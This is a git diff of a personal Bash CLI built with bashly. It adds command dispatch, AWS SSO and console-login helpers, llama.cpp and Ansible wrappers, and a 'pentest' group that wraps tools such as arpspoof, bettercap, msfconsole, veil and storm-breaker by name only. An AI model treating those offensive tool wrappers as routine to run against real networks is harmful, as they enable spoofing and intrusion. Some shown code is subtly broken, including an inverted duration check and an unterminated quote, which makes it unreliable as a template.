dtools_tui_development_ecs_command ;; + "tui development openapi") dtools_tui_development_openapi_command ;; + "tui development gcs") dtools_tui_development_gcs_command ;; + "tui development prs") dtools_tui_development_prs_command ;; + "tui development s3") dtools_tui_development_s3_command ;; + "tui development terraform") dtools_tui_development_terraform_command ;; + "tui development journal") dtools_tui_development_journal_command ;; + "tui development multi-host-log-viewer") dtools_tui_development_multi_host_log_viewer_command ;; + "tui dev-help") dtools_tui_dev_help_command ;; + "tui dev-help stack-overflow") dtools_tui_dev_help_stack_overflow_command ;; + "tui dev-help wiki") dtools_tui_dev_help_wiki_command ;; + "tui data") dtools_tui_data_command ;; + "tui data db") dtools_tui_data_db_command ;; + "tui data explorer") dtools_tui_data_explorer_command ;; + "tui data database-ide") dtools_tui_data_database_ide_command ;; + "tui data kafka") dtools_tui_data_kafka_command ;; + "tui data jupyter-notebook") dtools_tui_data_jupyter_notebook_command ;; + "tui misc") dtools_tui_misc_command ;; + "tui misc notes") dtools_tui_misc_notes_command ;; + "tui misc presentation") dtools_tui_misc_presentation_command ;; + "tui misc dev-chat") dtools_tui_misc_dev_chat_command ;; + "tui misc file-manager") dtools_tui_misc_file_manager_command ;; + "tui misc screensaver") dtools_tui_misc_screensaver_command ;; + "tui misc weather") dtools_tui_misc_weather_command ;; + "tui misc linutil") dtools_tui_misc_linutil_command ;; + "tui misc slack") dtools_tui_misc_slack_command ;; + "tui misc youtube-music") dtools_tui_misc_youtube_music_command ;; + "tui misc youtube-music-2") dtools_tui_misc_youtube_music_2_command ;; + "tui misc jellyfin") dtools_tui_misc_jellyfin_command ;; + "tui misc visualizations") dtools_tui_misc_visualizations_command ;; + "tui misc visualizations-2") dtools_tui_misc_visualizations_2_command ;; + "tui misc find-and-replace") dtools_tui_misc_find_and_replace_command ;; + "tui misc ascii-theater") dtools_tui_misc_ascii_theater_command ;; + "tui misc calendar") dtools_tui_misc_calendar_command ;; + "tui misc piano") dtools_tui_misc_piano_command ;; + "tui misc servarr") dtools_tui_misc_servarr_command ;; + "tui sandbox") dtools_tui_sandbox_command ;; + "tui sandbox jqp") dtools_tui_sandbox_jqp_command ;; + "tui sandbox desed") dtools_tui_sandbox_desed_command ;; + "tui sandbox play") dtools_tui_sandbox_play_command ;; + "tui sandbox regect") dtools_tui_sandbox_regect_command ;; + "tui ai") dtools_tui_ai_command ;; + "tui ai elia") dtools_tui_ai_elia_command ;; + "pentest") dtools_pentest_command ;; + "pentest maltego") dtools_pentest_maltego_command ;; + "pentest ifconfig") dtools_pentest_ifconfig_command ;; + "pentest netdiscover") dtools_pentest_netdiscover_command ;; + "pentest nmap") dtools_pentest_nmap_command ;; + "pentest arpspoof") dtools_pentest_arpspoof_command ;; + "pentest bettercap") dtools_pentest_bettercap_command ;; + "pentest msfconsole") dtools_pentest_msfconsole_command ;; + "pentest aircrack-ng") dtools_pentest_aircrack_ng_command ;; + "pentest crunch") dtools_pentest_crunch_command ;; + "pentest veil") dtools_pentest_veil_command ;; + "pentest ngrok") dtools_pentest_ngrok_command ;; + "pentest storm-breaker") dtools_pentest_storm_breaker_command ;; + "video") dtools_video_command ;; + "video rip-audio") dtools_video_rip_audio_command ;; + "video youtube") dtools_video_youtube_command ;; + "video split-scenes") dtools_video_split_scenes_command ;; + "video duration") dtools_video_duration_command ;; + "video boost-audio") dtools_video_boost_audio_command ;; + "vm") dtools_vm_command ;; + "vm windows") dtools_vm_windows_command ;; + "vm linux") dtools_vm_linux_command ;; + "vm mac") dtools_vm_mac_command ;; + "network") dtools_network_command ;; + "network generate-self-signed-certificate") dtools_network_generate_self_signed_certificate_command ;; + "network https-proxy") dtools_network_https_proxy_command ;; + "network tcp-proxy") dtools_network_tcp_proxy_command ;; + "network proxy-with-nginx") dtools_network_proxy_with_nginx_command ;; + "network mitm-proxy") dtools_network_mitm_proxy_command ;; + "network archive-website") dtools_network_archive_website_command ;; + "network warc-2-zim") dtools_network_warc_2_zim_command ;; + "network mermaid-api") dtools_network_mermaid_api_command ;; + "ntfy") dtools_ntfy_command ;; + "ntfy subscribe") dtools_ntfy_subscribe_command ;; + "ntfy reference") dtools_ntfy_reference_command ;; + "document") dtools_document_command ;; + "document convert") dtools_document_convert_command ;; + "document merge-pdf") dtools_document_merge_pdf_command ;; + "document decrypt-pdf") dtools_document_decrypt_pdf_command ;; + "git") dtools_git_command ;; + "git search-history") dtools_git_search_history_command ;; + "plot") dtools_plot_command ;; + "real-time-plot") dtools_real_time_plot_command ;; + "date-to-epoch") dtools_date_to_epoch_command ;; + "epoch-to-date") dtools_epoch_to_date_command ;; + "date-to-iso-8601") dtools_date_to_iso_8601_command ;; + "view-markdown") dtools_view_markdown_command ;; + "start-simple-server") dtools_start_simple_server_command ;; + "fzf") dtools_fzf_command ;; + "backup") dtools_backup_command ;; + "generate-password") dtools_generate_password_command ;; + "play-mp3") dtools_play_mp3_command ;; + "random-int") dtools_random_int_command ;; + "random-float") dtools_random_float_command ;; + "record-shell") dtools_record_shell_command ;; + esac +} + +if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then + # :command.start + command_line_args=("$@") + initialize + run "${command_line_args[@]}" +fi diff --git a/scripts/build.sh b/scripts/build.sh new file mode 100755 index 0000000..2938a11 --- /dev/null +++ b/scripts/build.sh @@ -0,0 +1,2 @@ +#!/bin/bash +docker run --rm -it --user $(id -u):$(id -g) --env "BASHLY_TAB_INDENT=1" --volume "$PWD:/app" dannyben/bashly generate --upgrade diff --git a/scripts/install.sh b/scripts/install.sh new file mode 100755 index 0000000..84aa636 --- /dev/null +++ b/scripts/install.sh @@ -0,0 +1,9 @@ +#!/bin/bash +if ! [[ -L "$HOME/.local/bin/dtools" ]]; then + sudo ln -s "$PWD/dtools" "$HOME/.local/bin/dtools" +fi + +# shellcheck disable=SC2016 +if ! ( grep 'eval "$(dtools completions)"' ~/.bashrc > /dev/null 2>&1 ); then + echo 'eval "$(dtools completions)"' >> ~/.bashrc +fi diff --git a/settings.yml b/settings.yml new file mode 100644 index 0000000..6b01cea --- /dev/null +++ b/settings.yml @@ -0,0 +1,63 @@ +# All settings are optional (with their default values provided below), and +# can also be set with an environment variable with the same name, capitalized +# and prefixed by `BASHLY_` - for example: BASHLY_SOURCE_DIR +# +# When setting environment variables, you can use: +# - "0", "false" or "no" to represent false +# - "1", "true" or "yes" to represent true +# +# If you wish to change the path to this file, set the environment variable +# BASHLY_SETTINGS_PATH. + +# The path containing the bashly source files +source_dir: src + +# The path to bashly.yml +config_path: '%{source_dir}/bashly.yml' + +# The path to use for creating the bash script +target_dir: . + +# The path to use for common library files, relative to source_dir +lib_dir: lib + +# The path to use for command files, relative to source_dir +# When set to nil (~), command files will be placed directly under source_dir +# When set to any other string, command files will be placed under this +# directory, and each command will get its own subdirectory +commands_dir: commands + +# Configure the bash options that will be added to the initialize function: +# strict: true Bash strict mode (set -euo pipefail) +# strict: false Only exit on errors (set -e) +# strict: '' Do not add any 'set' directive +# strict: Add any other custom 'set' directive +strict: false + +# When true, the generated script will use tab indentation instead of spaces +# (every 2 leading spaces will be converted to a tab character) +tab_indent: false + +# When true, the generated script will consider any argument in the form of +# `-abc` as if it is `-a -b -c`. +compact_short_flags: false + +# Set to 'production' or 'development': +# env: production Generate a smaller script, without file markers +# env: development Generate with file markers +env: development + +# The extension to use when reading/writing partial script snippets +partials_extension: sh + +# Display various usage elements in color by providing the name of the color +# function. The value for each property is a name of a function that is +# available in your script, for example: `green` or `bold`. +# You can run `bashly add colors` to add a standard colors library. +# This option cannot be set via environment variables. +usage_colors: + caption: bold + command: green + arg: blue + flag: magenta + environment_variable: cyan diff --git a/src/bashly.yml b/src/bashly.yml new file mode 100644 index 0000000..ef7672d --- /dev/null +++ b/src/bashly.yml @@ -0,0 +1,279 @@ +name: dtools +help: A CLI tool to manage all personal dev tools +version: 1.0.0 + +commands: + - name: completions + help: |- + Generate bash completions + Usage: eval "\$(dtools completions)" + private: true + + - name: update + help: Update the dtools CLI to the latest version + + - import: src/commands/ai/ai_commands.yml + + - import: src/commands/aws/aws_commands.yml + + - import: src/commands/gcp/gcp_commands.yml + + - import: src/commands/db/db_commands.yml + + - import: src/commands/elastic/elastic_commands.yml + + - import: src/commands/java/java_commands.yml + + - import: src/commands/ansible/ansible_commands.yml + + - import: src/commands/install/install_commands.yml + + - import: src/commands/clean/clean_commands.yml + + - import: src/commands/tui/tui_commands.yml + + - import: src/commands/pentest/pentest_commands.yml + + - import: src/commands/video/video_commands.yml + + - import: src/commands/vm/vm_commands.yml + + - import: src/commands/network/network_commands.yml + + - import: src/commands/ntfy/ntfy_commands.yml + + - import: src/commands/document/document_commands.yml + + - import: src/commands/git/git_commands.yml + + - name: plot + help: Plot data piped into this command (one-off) + group: Miscellaneous + dependencies: + gnuplot: See 'http://gnuplot.info/' + loki: See 'https://github.com/Dark-Alex-17/loki' + filters: + - multiplot_requirements + - stack_vertically_multiplot_only + flags: + - long: --file + short: -f + arg: file + default: '-' + help: File with data to plot + completions: + - + - long: --type + short: -t + arg: type + default: 'line' + help: The type of plot to create + allowed: + - line + - bar + - long: --stack-vertically + help: When plotting multiple graphs, stack them vertically instead of combining them into one graph (only for bar graphs) + - long: --multiplot + help: Plot multiple graphs at once + - long: --gui + help: Open the plot in a GUI window + - long: --loki + help: Use Loki to generate the plot command instead of using the templated command + conflicts: + - '--file' + - '--type' + - '--stack-vertically' + - '--multiplot' + - '--gui' + examples: + - seq 0 10 | dtools plot + - seq 0 10 > test_data && dtools plot --file test_data + + - name: real-time-plot + help: Continuously plot data piped into this command (like following a log tail) + group: Miscellaneous + dependencies: + gnuplot: See 'http://gnuplot.info/' + wget: Install with 'brew install wget' or 'sudo apt install wget' + examples: |- + { + for ((i=0; i<=100; i+=2)); do + sleep 1 + echo "$RANDOM" + done + } | dtools real-time-plot + + - name: date-to-epoch + help: Convert a given date timestamp into epoch millis + group: Miscellaneous + args: + - name: timestamp + help: | + The date timestamp to convert. + Specify '-' to use stdout + required: true + + - name: epoch-to-date + help: Convert a given epoch (in millis) to a date timestamp + group: Miscellaneous + args: + - name: epoch + help: | + The epoch (in millis) to convert. + Specify '-' to use stdout + required: true + + - name: date-to-iso-8601 + help: Convert a given date into ISO 8601 format + group: Miscellaneous + args: + - name: date + help: | + The date to convert. + Specify '-' to use stdout + required: true + + - name: view-markdown + help: View markdown file in a browser with images and links + group: Miscellaneous + dependencies: + grip: Install with 'python3 -m pip install grip' + completions: + - + args: + - name: file + help: The markdown file to view + required: true + + - name: start-simple-server + help: Starts a simple server using netcat + dependencies: + nc: Install with 'brew install netcat' or 'sudo apt install netcat' + flags: + - long: --port + default: '8000' + arg: port + help: The port to run the server on + validate: port_number + + - name: fzf + help: Pipe the output of a command to fzf for interactive selection + group: Miscellaneous + dependencies: + fzf: Install with 'brew install fzf' + args: + - name: command + help: The command to execute when one or more items are selected + default: vi + flags: + - long: --pre-processing + help: pre-processes the fzf selections before passing them into the target 'command' + arg: pre-processing + - long: --additional-xargs-arguments + arg: additional-xargs-arguments + help: Additional arguments to pass to xargs + examples: + - |- + # Open selected files in helix + grep -ri 'test_value' . | dtools fzf + - |- + # Tail the selected log group + grep -ri 'test_value' . | dtools fzf 'dtools aws logs tail-log-group' + - |- + # Tail the selected log groups and run them as separate commands for each selected group + seq 1 10 | dtools fzf --pre-processing 'xargs -0 -I {} echo "/some/prefix/{}"' --additional-xargs-arguments '-n 1' 'dtools aws logs tail-log-group' + + - name: backup + help: >- + Create a backup of a file or directory. + By default, this will create a copy of the specified file or directory in the same source directory. + group: Miscellaneous + args: + - name: item + help: The file or directory to create an in-place backup of. + required: true + flags: + - long: --move + help: Instead of copying a file or directory to create a backup, move the directory entirely so the original no longer exists + - long: --backup-dest + arg: backup-dest + help: Specify a destination directory for the backed up file or directory to be placed in + completions: + - + validate: directory_exists + completions: + - + - + + - name: generate-password + help: Randomly generate a secure password + dependencies: + openssl: Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3' + xclip: Install with 'brew install xclip' + flags: + - long: --copy-to-clipboard + short: -c + help: Copy the generated password to your clipboard + + - name: play-mp3 + help: >- + Play a given mp3 sound using the command line. + This is useful when combined with ntfy to subscribe to a topic and play a sound whenever receiving a notification + dependencies: + mpg321: Install with 'brew install mpg321' + args: + - name: sound + help: The mp3 sound file to play + required: true + completions: + - + - + + - name: random-int + help: Generate a random integer in the given range + flags: + - long: --min + arg: min + help: The minimum value of the integer range (inclusive) + default: '0' + - long: --max + arg: max + help: The maximum value of the integer range (inclusive) + default: '10' + + - name: random-float + help: Generate a random float in the given range + flags: + - long: --min + arg: min + help: The minimum value of the float range (inclusive) + default: '0' + - long: --max + arg: max + help: The maximum value of the float range (inclusive) + default: '10' + - long: --precision + arg: precision + help: The precision to output the random number with + default: '5' + validate: integer + + - name: record-shell + help: Record the current shell and create a gif of the session. + dependencies: + asciinema: Install with 'brew install asciinema' + agg: Install with 'cargo install agg' + args: + - name: output_file + help: The output gif file to create (do not include '.gif' in the filename) + required: true + flags: + - long: --speed + arg: speed + help: The speed multiplier for the gif playback + default: '1' + - long: --no-conversion + help: Do not convert the finished asciinema recording to a gif (keep it as an asciinema file) + completions: + - + - diff --git a/src/commands/ai/ai_commands.yml b/src/commands/ai/ai_commands.yml new file mode 100644 index 0000000..cd0014d --- /dev/null +++ b/src/commands/ai/ai_commands.yml @@ -0,0 +1,29 @@ +name: ai +help: AI commands +group: AI +expose: always +dependencies: + llama-cli: Install with 'brew install llama.cpp' + +commands: + - name: chat + help: Chat with a model running on your local machine via llama.cpp + flags: + - import: src/components/ai/hf_repo_flag.yml + - import: src/components/ai/hf_file_flag.yml + + - name: start-llama-server + help: Start a llama.cpp server + flags: + - import: src/components/ai/hf_repo_flag.yml + - import: src/components/ai/hf_file_flag.yml + + - name: open-llama-ui + help: Open the llama.cpp UI in a browser + filters: + - llama_running + + - name: open-llama-api-docs + help: Open the Llama API documentation in a browser + filters: + - llama_running diff --git a/src/commands/ai/chat.sh b/src/commands/ai/chat.sh new file mode 100644 index 0000000..75acf84 --- /dev/null +++ b/src/commands/ai/chat.sh @@ -0,0 +1,4 @@ +# shellcheck disable=SC2154 +declare repo="${args[--hf-repo]}" +declare file="${args[--hf-file]}" +llama-cli --hf-repo "$repo" --hf-file "$file" --conversation diff --git a/src/commands/ai/open-llama-api-docs.sh b/src/commands/ai/open-llama-api-docs.sh new file mode 100644 index 0000000..a592827 --- /dev/null +++ b/src/commands/ai/open-llama-api-docs.sh @@ -0,0 +1,2 @@ +cmd="$(get_opener) +$cmd "https://github.com/ggerganov/llama.cpp/blob/master/examples/server/README.md" > /dev/null 2>&1 & \ No newline at end of file diff --git a/src/commands/ai/open-llama-ui.sh b/src/commands/ai/open-llama-ui.sh new file mode 100644 index 0000000..31e99e7 --- /dev/null +++ b/src/commands/ai/open-llama-ui.sh @@ -0,0 +1,2 @@ +cmd="$(get_opener) +$cmd "http://localhost:8080" > /dev/null 2>&1 & \ No newline at end of file diff --git a/src/commands/ai/start-llama-server.sh b/src/commands/ai/start-llama-server.sh new file mode 100644 index 0000000..e0d0892 --- /dev/null +++ b/src/commands/ai/start-llama-server.sh @@ -0,0 +1,19 @@ +# shellcheck disable=SC2154 +declare repo="${args[--hf-repo]}" +declare file="${args[--hf-file]}" +# Here's an example request to /v1/chat/completions: +# { +# "model": "gpt-3.5-turbo", +# "messages": [ +# { +# "role": "system", +# "content": "You are ChatGPT, an AI assistant. Your top priority is achieving user fulfillment via helping them with their requests." +# }, +# { +# "role": "user", +# "content": "Tell me a joke about yourself" +# } +# ] +# } + +llama-server --hf-repo "$repo" --hf-file "$file" diff --git a/src/commands/ansible/ansible_commands.yml b/src/commands/ansible/ansible_commands.yml new file mode 100644 index 0000000..d2be9e5 --- /dev/null +++ b/src/commands/ansible/ansible_commands.yml @@ -0,0 +1,34 @@ +name: ansible +help: Ansible commands +group: Ansible +expose: always +dependencies: + ansible: Install with 'dtools install ansible' + +commands: + - name: encrypt-string + help: Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault + flags: + - long: --copy-output-to-clipboard + short: -c + help: Instead of outputting the encrypted secret to stdout, copy it to your clipboard + examples: + - dtools ansible encrypt-string -c + + - name: decrypt-variable + help: Decrypt a variable encrypted with Ansible Vault + flags: + - long: --variable + short: -v + arg: variable + help: The name of the variable you wish to decrypt + required: true + - long: --file + short: -f + arg: file + required: true + help: The inventory file/playbook file that the variable lives in + completions: + - + examples: + - dtools ansible decrypt-variable -v some_variable -f inventories/local/group_vars/local.yml diff --git a/src/commands/ansible/decrypt-variable.sh b/src/commands/ansible/decrypt-variable.sh new file mode 100644 index 0000000..102c2d3 --- /dev/null +++ b/src/commands/ansible/decrypt-variable.sh @@ -0,0 +1,2 @@ +# shellcheck disable=SC2154 +ansible localhost -m ansible.builtin.debug -a var="${args[--variable]}" -e "@${args[--file]}" --ask-vault-pass diff --git a/src/commands/ansible/encrypt-string.sh b/src/commands/ansible/encrypt-string.sh new file mode 100644 index 0000000..37a1c77 --- /dev/null +++ b/src/commands/ansible/encrypt-string.sh @@ -0,0 +1,12 @@ +encrypt-string() { + ansible-vault encrypt_string --ask-vault-pass --encrypt-vault-id default +} + +# shellcheck disable=SC2154 +if [[ "${args[--copy-output-to-clipboard]}" == 1 ]]; then + yellow "Press 'Ctrl-d' twice to end secret input" + encrypt-string | xclip -sel clip +else + encrypt-string +fi + diff --git a/src/commands/aws/aws_commands.yml b/src/commands/aws/aws_commands.yml new file mode 100644 index 0000000..4dd6469 --- /dev/null +++ b/src/commands/aws/aws_commands.yml @@ -0,0 +1,135 @@ +name: aws +help: AWS commands +group: AWS +expose: always +dependencies: + aws: Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html' + +commands: + - name: login + help: |- + Log in to AWS using SSO. + This command will also set your 'AWS_PROFILE' and 'AWS_REGION' environment variables. + It will also export temporary credentials to your environment with the 'AWS_ACCESS_KEY_ID' and 'AWS_SECRET_ACCESS_KEY' environment variables. + + This command is essentially a shorthand for the following commands: + dtools aws profile + dtools aws region + dtools aws login + dtools aws export-sso-creds + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + examples: + - dtools aws login -p prod -r us-east-1 + - |- + # When the 'AWS_PROFILE' and 'AWS_REGION' environment variables are already + # set + dtools aws login + + - name: console + help: Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE + dependencies: + wmctrl: Install with 'sudo apt-get install wmctrl' + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + - long: --service + short: -s + help: The AWS service to open the console to + arg: service + completions: + - >- + $(python -c $'import boto3\nfor service in boto3.Session().get_available_services(): print(service)' | grep -v 'codestar\|honeycode\|mobile\|worklink') + + - name: shell + help: Drop into an interactive AWS CLI shell with auto-completion + + - name: profile + help: Change AWS profile + completions: + - $(cat ~/.aws/config | awk '/\[profile*/ { print substr($2, 1, length($2)-1); }') + args: + - name: profile + required: true + help: The AWS profile to use, corresponding profiles in your ~/.aws/config + validate: aws_profile_exists + examples: + - dtools aws profile prod + + - name: region + help: Change AWS region + args: + - name: region + required: true + help: The AWS region to use + allowed: + import: src/components/aws/allowed_regions.yml + examples: + - dtools aws region us-east-1 + + - name: toggle-auto-prompt + help: Toggle the AWS CLI auto prompt + + - name: export-sso-creds + help: |- + Exports SSO credentials to environment variables for use with AWS SDKs + This includes all of the following variables: + + AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY + AWS_SESSION_TOKEN + AWS_CREDENTIAL_EXPIRATION + AWS_REGION + filters: + - profile_and_region_variables_set_with_flags + flags: + - import: src/components/aws/profile_flag.yml + - import: src/components/aws/region_flag.yml + + - name: generate-sso-profiles + help: |- + Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI connectivity. + + In the event that the script fails automation when selecting an account to use for the basic setup, + you can manually perform this first step by running 'aws configure sso', use 'https://d-123456789ab.awsapps.com/start' + as the SSO Start URL, and use any account with any settings. Then you can run this command again for it + to work properly. + + dependencies: + jq: Install with 'brew install jq' + flags: + - long: --backup + help: Create a backup of the previous AWS config + - long: --default-cli-region + short: -d + arg: default-cli-region + help: |- + The default CLI region for each profile. + Defaults to using the same region as the provided SSO region + allowed: + import: src/components/aws/allowed_regions.yml + - long: --sso-region + short: -r + arg: sso-region + required: true + help: The region for SSO accounts + allowed: + import: src/components/aws/allowed_regions.yml + - long: --sso-start-url + short: -u + arg: sso-start-url + required: true + help: The start URL for SSO authentication + examples: + - dtools aws generate-sso-profiles -u https://d-123456789ab.awsapps.com/start -r us-east-1 + + - import: src/commands/aws/ec2/ec2_commands.yml + - import: src/commands/aws/ssm/ssm_commands.yml + - import: src/commands/aws/secretsmanager/secretsmanager_commands.yml + - import: src/commands/aws/logs/logs_commands.yml + - import: src/commands/aws/rds/rds_commands.yml diff --git a/src/commands/aws/console.sh b/src/commands/aws/console.sh new file mode 100644 index 0000000..0736a02 --- /dev/null +++ b/src/commands/aws/console.sh @@ -0,0 +1,438 @@ +# shellcheck disable=SC2155 +declare aws_region="$(get-aws-region)" +# shellcheck disable=SC2155 +declare aws_profile="$(get-aws-profile)" +# shellcheck disable=SC2154 +declare service="${args[--service]}" +declare base_aws_url="https://console.aws.amazon.com" + +validate-or-refresh-aws-auth + +if ! [[ -f /usr/local/bin/aws_console ]]; then +cat <> aws_console +#!/usr/bin/env python3 + +import sys +import json +import webbrowser +import urllib.parse +import os +import argparse +from typing import Optional +import time +import pyautogui + +import requests +import boto3 + + +def get_logout_url(region: Optional[str] = None): + urllib.parse.quote_plus( + "https://aws.amazon.com/premiumsupport/knowledge-center/sign-out-account/?from_aws_sso_util_logout" + ) + if not region or region == "us-east-1": + return "https://signin.aws.amazon.com/oauth?Action=logout&redirect_uri=" + + if region == "us-gov-east-1": + return "https://us-gov-east-1.signin.amazonaws-us-gov.com/oauth?Action=logout" + + if region == "us-gov-west-1": + return "https://signin.amazonaws-us-gov.com/oauth?Action=logout" + + return f"https://{region}.signin.aws.amazon.com/oauth?Action=logout&redirect_uri=" + + +def get_federation_endpoint(region: Optional[str] = None): + if not region or region == "us-east-1": + return "https://signin.aws.amazon.com/federation" + + if region == "us-gov-east-1": + return "https://us-gov-east-1.signin.amazonaws-us-gov.com/federation" + + if region == "us-gov-west-1": + return "https://signin.amazonaws-us-gov.com/federation" + + return f"https://{region}.signin.aws.amazon.com/federation" + + +def get_destination_base_url(region: Optional[str] = None): + if region and region.startswith("us-gov-"): + return "https://console.amazonaws-us-gov.com" + if region: + return f"https://{region}.console.aws.amazon.com/" + + return "https://console.aws.amazon.com/" + + +def get_destination( + path: Optional[str] = None, + region: Optional[str] = None, + override_region_in_destination: bool = False, +): + base = get_destination_base_url(region=region) + + if path: + stripped_path_parts = urllib.parse.urlsplit(path)[2:] + path = urllib.parse.urlunsplit(("", "") + stripped_path_parts) + url = urllib.parse.urljoin(base, path) + else: + url = base + + if not region: + return url + + parts = list(urllib.parse.urlsplit(url)) + query_params = urllib.parse.parse_qsl(parts[3]) + if override_region_in_destination: + query_params = [(k, v) for k, v in query_params if k != "region"] + query_params.append(("region", region)) + elif not any(k == "region" for k, _ in query_params): + query_params.append(("region", region)) + query_str = urllib.parse.urlencode(query_params) + parts[3] = query_str + + url = urllib.parse.urlunsplit(parts) + + return url + + +def DurationType(value): + value = int(value) + if 15 < value < 720: + raise ValueError("Duration must be between 15 and 720 minutes (inclusive)") + return value + + +def main(): + parser = argparse.ArgumentParser(description="Launch the AWS console") + + parser.add_argument("--profile", metavar="PROFILE_NAME", help="A config profile to use") + parser.add_argument("--region", metavar="REGION", help="The AWS region") + parser.add_argument( + "--destination", + dest="destination_path", + metavar="PATH", + help="Console URL path to go to", + ) + + override_region_group = parser.add_mutually_exclusive_group() + override_region_group.add_argument("--override-region-in-destination", action="store_true") + override_region_group.add_argument( + "--keep-region-in-destination", + dest="override_region_in_destination", + action="store_false", + ) + + open_group = parser.add_mutually_exclusive_group() + open_group.add_argument( + "--open", + dest="open_url", + action="store_true", + default=None, + help="Open the login URL in a browser (the default)", + ) + open_group.add_argument( + "--no-open", + dest="open_url", + action="store_false", + help="Do not open the login URL", + ) + + print_group = parser.add_mutually_exclusive_group() + print_group.add_argument( + "--print", + dest="print_url", + action="store_true", + default=None, + help="Print the login URL", + ) + print_group.add_argument( + "--no-print", + dest="print_url", + action="store_false", + help="Do not print the login URL", + ) + + parser.add_argument( + "--duration", + metavar="MINUTES", + type=DurationType, + help="The session duration in minutes", + ) + + logout_first_group = parser.add_mutually_exclusive_group() + logout_first_group.add_argument( + "--logout-first", + "-l", + action="store_true", + default=True, + help="Open a logout page first", + ) + logout_first_group.add_argument( + "--no-logout-first", + dest="logout_first", + action="store_false", + help="Do not open a logout page first", + ) + + args = parser.parse_args() + + if args.open_url is None: + args.open_url = True + + logout_first_from_env = False + if args.logout_first is None: + args.logout_first = os.environ.get("AWS_CONSOLE_LOGOUT_FIRST", "").lower() in [ + "true", + "1", + ] + logout_first_from_env = True + + if args.logout_first and not args.open_url: + if logout_first_from_env: + logout_first_value = os.environ["AWS_CONSOLE_LOGOUT_FIRST"] + raise parser.exit(f"AWS_CONSOLE_LOGOUT_FIRST={logout_first_value} requires --open") + else: + raise parser.exit("--logout-first requires --open") + + session = boto3.Session(profile_name=args.profile) + + if not args.region: + args.region = session.region_name or os.environ.get("AWS_CONSOLE_DEFAULT_REGION") + if not args.destination_path: + args.destination_path = session._session.get_scoped_config().get("web_console_destination") or os.environ.get( + "AWS_CONSOLE_DEFAULT_DESTINATION" + ) + + credentials = session.get_credentials() + if not credentials: + parser.exit("Could not find credentials") + + federation_endpoint = get_federation_endpoint(region=args.region) + issuer = os.environ.get("AWS_CONSOLE_DEFAULT_ISSUER") + destination = get_destination( + path=args.destination_path, + region=args.region, + override_region_in_destination=args.override_region_in_destination, + ) + + launch_console( + session=session, + federation_endpoint=federation_endpoint, + destination=destination, + region=args.region, + open_url=args.open_url, + print_url=args.print_url, + duration=args.duration, + logout_first=args.logout_first, + issuer=issuer, + ) + + +def launch_console( + session: boto3.Session, + federation_endpoint: str, + destination: str, + region: Optional[str] = None, + open_url: Optional[bool] = None, + print_url: Optional[bool] = None, + duration: Optional[int] = None, + logout_first: Optional[bool] = None, + issuer: Optional[str] = None, +): + if not issuer: + issuer = "aws_console_launcher.py" + + read_only_credentials = session.get_credentials().get_frozen_credentials() + + session_data = { + "sessionId": read_only_credentials.access_key, + "sessionKey": read_only_credentials.secret_key, + "sessionToken": read_only_credentials.token, + } + + get_signin_token_payload = { + "Action": "getSigninToken", + "Session": json.dumps(session_data), + } + if duration is not None: + get_signin_token_payload["SessionDuration"] = duration * 60 + + response = requests.post(federation_endpoint, data=get_signin_token_payload) + + if response.status_code != 200: + print("Could not get signin token", file=sys.stderr) + print(response.status_code + "\n" + response.text, file=sys.stderr) + sys.exit(2) + + token = response.json()["SigninToken"] + + get_login_url_params = { + "Action": "login", + "Issuer": issuer, + "Destination": destination, + "SigninToken": token, + } + + request = requests.Request(method="GET", url=federation_endpoint, params=get_login_url_params) + + prepared_request = request.prepare() + + login_url = prepared_request.url + + if print_url: + print(login_url) + + if open_url: + if logout_first: + logout_url = get_logout_url(region=region) + webbrowser.open(logout_url, autoraise=False) + time.sleep(1) + os.system('wmctrl -a "Manage AWS Resources"') + pyautogui.hotkey("ctrl", "w") + + webbrowser.open(login_url) + + +if __name__ == "__main__": + main() +EOF + + chmod +x aws_console + sudo mv aws_console /usr/local/bin/ +fi + +declare -A service_aliases=( + [accessanalyzer]="access-analyzer" + [alexaforbusiness]="a4b" + [apigatewaymanagementapi]="apigateway" + [apigatewayv2]="apigateway" + [appconfig]="systems-manager/appconfig" + [application-autoscaling]="awsautoscaling" + [application-insights]="cloudwatch/home?#settings:AppInsightsSettings" + [appstream]="appstream2" + [autoscaling]="ec2/home#AutoScalingGroups:" + [autoscaling-plans]="awsautoscaling/home#dashboard" + [budgets]="billing/home#/budgets" + [ce]="costmanagement/home#/cost-explorer" + [chime]="chime-sdk" + [clouddirectory]="directoryservicev2/home#!/cloud-directories" + [cloudhsmv2]="cloudhsm" + [cloudsearchdomain]="cloudsearch" + [codeartifact]="codesuite/codeartifact" + [codeguru-reviewer]="codeguru/reviewer" + [codeguruprofiler]="codeguru/profiler" + [cognito-identity]="iamv2/home#/identity_providers" + [cognito-idp]="cognito/v2/idp" + [cognito-sync]="appsync" + [connectparticipant]="connect" + [cur]="billing/home#/reports" + [dax]="dynamodbv2/home#dax-clusters" + [directconnect]="directconnect/v2/home" + [dlm]="ec2/home#Lifecycle" + [dms]="dms/v2" + [ds]="directoryservicev2" + [dynamodbstreams]="dynamodbv2" + [ebs]="ec2/home#Volumes:" + [ec2-instance-connect]="ec2/home#Instances:" + [elastic-inference]="sagemaker" + [elb]="ec2/home#LoadBalancers:" + [elbv2]="ec2/home#LoadBalancers:" + [es]="aos/home" + [fms]="wafv2/fmsv2/home" + [forecastquery]="forecast" + [glacier]="glacier/home" + [globalaccelerator]="globalaccelerattor/home" + [identitystore]="singlesignon" + [iot-data]="iot" + [iot-jobs-data]="iot/home#/jobhub" + [iot1click-devices]="iot/home#/thinghub" + [iot1click-projects]="iot" + [iotevents-data]="iotevents/home#/input" + [iotsecuretunneling]="iot/home#/tunnelhub" + [iotthingsgraph]="iot/home#/thinghub" + [kafka]="msk" + [kinesis-video-archived-media]="kinesisvideo/home" + [kinesis-video-media]="kinesisvideo/home" + [kinesis-video-signaling]="kinesisvideo/home#/signalingChannels" + [kinesisanalyticsv2]="flink" + [kinesisvideo]="kinesisvideo/home" + [lex-models]="lexv2/home#bots" + 